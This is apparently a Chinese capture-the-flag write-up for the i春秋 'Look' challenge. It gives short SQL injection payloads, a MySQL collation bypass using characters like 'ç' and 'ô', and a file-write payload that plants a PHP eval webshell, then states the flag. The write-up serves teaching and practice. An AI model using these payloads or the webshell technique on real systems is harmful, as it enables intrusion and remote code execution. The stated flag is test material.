i春秋-Look(sql字符集、超短sql注入、写入shell)
练习平台地址
竞赛中心
题目描述
题目内容
一片空白
F12检查
元素无信息
响应头中发现了提示
尝试对verify参数进行sql注入
get传值有回显应该是get注入
尝试注入
提示verify long应该是太长了
更改payload(超短sql语句)
''*1
''&1
''%1
''=0
访问5211ec9dde53ee65bb02225117fba1e1.php
F12检查
元素无信息
响应头中又发现了提示
访问.viminfo配置文件(目录扫描也可以扫描到,可跳过前面步骤)
访问备份文件
代码分析
1.起初以为是宽字节注入%df%27,但是其中第一个if判断远程IP只是一个幌子无法伪造
2.接着看程序逻辑 需要输入非 Bctf2O(大写O)16但进入数据库查询又当作是Bctf2O16的一个字符串,结合题目提示的mysql字符集
MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 两种编码格式, utf8_general_ci不区分大小写, Ä = A, Ö = O, Ü = U 这三种条件都成立, 对于utf8_general_ci下面的等式成立:ß = s ,但是,对于utf8_unicode_ci下面等式才成立:ß = ss
绕过方式
使用ç=c 或者ô=o
payload
?usern3me=Bçtf2O16
访问c3368f5eb5f8367fd548b228bee69ef2.php
代码分析
相关函数
file_put_contents:
将一个字符串写入文件中
<?php $file = 'example.txt'; $data = '这是一些文本'; file_put_contents($file, $data); ?>
file_get_contents:
将整个文件的内容读入一个字符串中
<?php echo file_get_contents("test.txt"); ?>
功能分析
上个页面的usern3me的内容是我们可控的,我们可以直接写php代码,这样写的php代码就进入了我们给的文件,然后RCE就可以了
构造payload
?filename=1.php&path=http://127.0.0.1/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=<?php%2520eval($_POST[cmd]);?>
蚁剑连接
flag
flag{8d15ba42-bfcd-4587-b111-52fbca0494f8}
注意事项
在mysql字符集中,ç和c,ô和o是相等的